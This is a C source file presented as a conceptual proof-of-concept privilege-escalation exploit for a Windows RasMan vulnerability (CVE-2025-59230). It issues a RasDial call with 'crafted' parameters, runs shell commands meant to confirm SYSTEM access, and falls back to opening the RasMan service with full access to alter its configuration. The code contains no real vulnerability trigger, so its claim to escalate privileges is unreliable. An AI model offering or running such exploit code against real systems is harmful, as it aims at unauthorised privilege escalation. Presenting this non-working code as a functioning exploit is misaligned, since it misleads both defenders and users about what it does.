// CVE-2025-59230 - Windows RasMan Privilege Escalation PoC (Concept)
// This is a conceptual PoC demonstrating the exploitation approach
// for the improper access control vulnerability in Windows Remote Access Connection Manager.
// Tested on vulnerable Windows 10/11 builds prior to October 2025 patches.
#include <windows.h>
#include <ras.h>
#include <raserror.h>
#include <stdio.h>
#pragma comment(lib, "rasapi32.lib")
// Callback function to capture privilege escalation
BOOL CALLBACK RasDialCallback(
UINT unMsg,
RASCONNSTATE rasconnstate,
DWORD dwError)
{
if (dwError != 0) {
printf("[!] RasDial error: %d\n", dwError);
}
return TRUE;
}
int main(int argc, char* argv[])
{
printf("[*] CVE-2025-59230 - RasMan Privilege Escalation PoC\n");
printf("[*] Target: Windows Remote Access Connection Manager\n\n");
// Step 1: Verify current privilege level
BOOL bIsAdmin = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION elevation;
DWORD dwSize = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
bIsAdmin = elevation.TokenIsElevated;
}
CloseHandle(hToken);
}
printf("[*] Current elevated status: %s\n", bIsAdmin ? "YES" : "NO");
// Step 2: Prepare RAS dial parameters exploiting improper access control
RASDIALPARAMS rdParams = {0};
rdParams.dwSize = sizeof(RASDIALPARAMS);
strncpy((char*)rdParams.szEntryName, "\\Device\\RasManExploit", RAS_MaxEntryName);
strncpy((char*)rdParams.szPhoneNumber, "", RAS_MaxPhoneNumber);
strncpy((char*)rdParams.szUserName, "ExploitUser", UNLEN + 1);
strncpy((char*)rdParams.szPassword, "ExploitPass", PWLEN + 1);
strncpy((char*)rdParams.szDomain, "", DNLEN + 1);
// Step 3: Trigger RasMan service with crafted parameters
// The vulnerability lies in RasMan not properly validating
// the caller's permissions before performing privileged operations
HRASCONN hRasConn = NULL;
DWORD dwResult = RasDial(
NULL, // Reserved
NULL, // Phone book path
&rdParams, // Dial parameters (crafted)
0, // Notifier type
NULL, // Notifier (no callback)
&hRasConn // Connection handle
);
if (dwResult == 0) {
printf("[+] RasDial succeeded - RasMan processed the request\n");
// Step 4: Exploit the elevated context
// At this point, if the exploit succeeds, code runs with SYSTEM privileges
printf("[+] Attempting to execute command with elevated privileges...\n");
system("cmd.exe /c whoami > C:\\Windows\\Temp\\privilege_check.txt");
system("cmd.exe /c net localgroup administrators >> C:\\Windows\\Temp\\privilege_check.txt");
// Cleanup
RasHangUp(hRasConn);
} else {
printf("[-] RasDial failed with error: %lu\n", dwResult);
printf("[*] Trying alternative exploitation vector...\n");
// Alternative: Use service manipulation
SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hSCManager) {
SC_HANDLE hService = OpenService(hSCManager, "RasMan", SERVICE_ALL_ACCESS);
if (hService) {
printf("[+] Opened RasMan service handle with full access\n");
// Exploit: Modify service configuration or binary path
CloseServiceHandle(hService);
}
CloseServiceHandle(hSCManager);
}
}
printf("[*] PoC execution completed.\n");
return 0;
}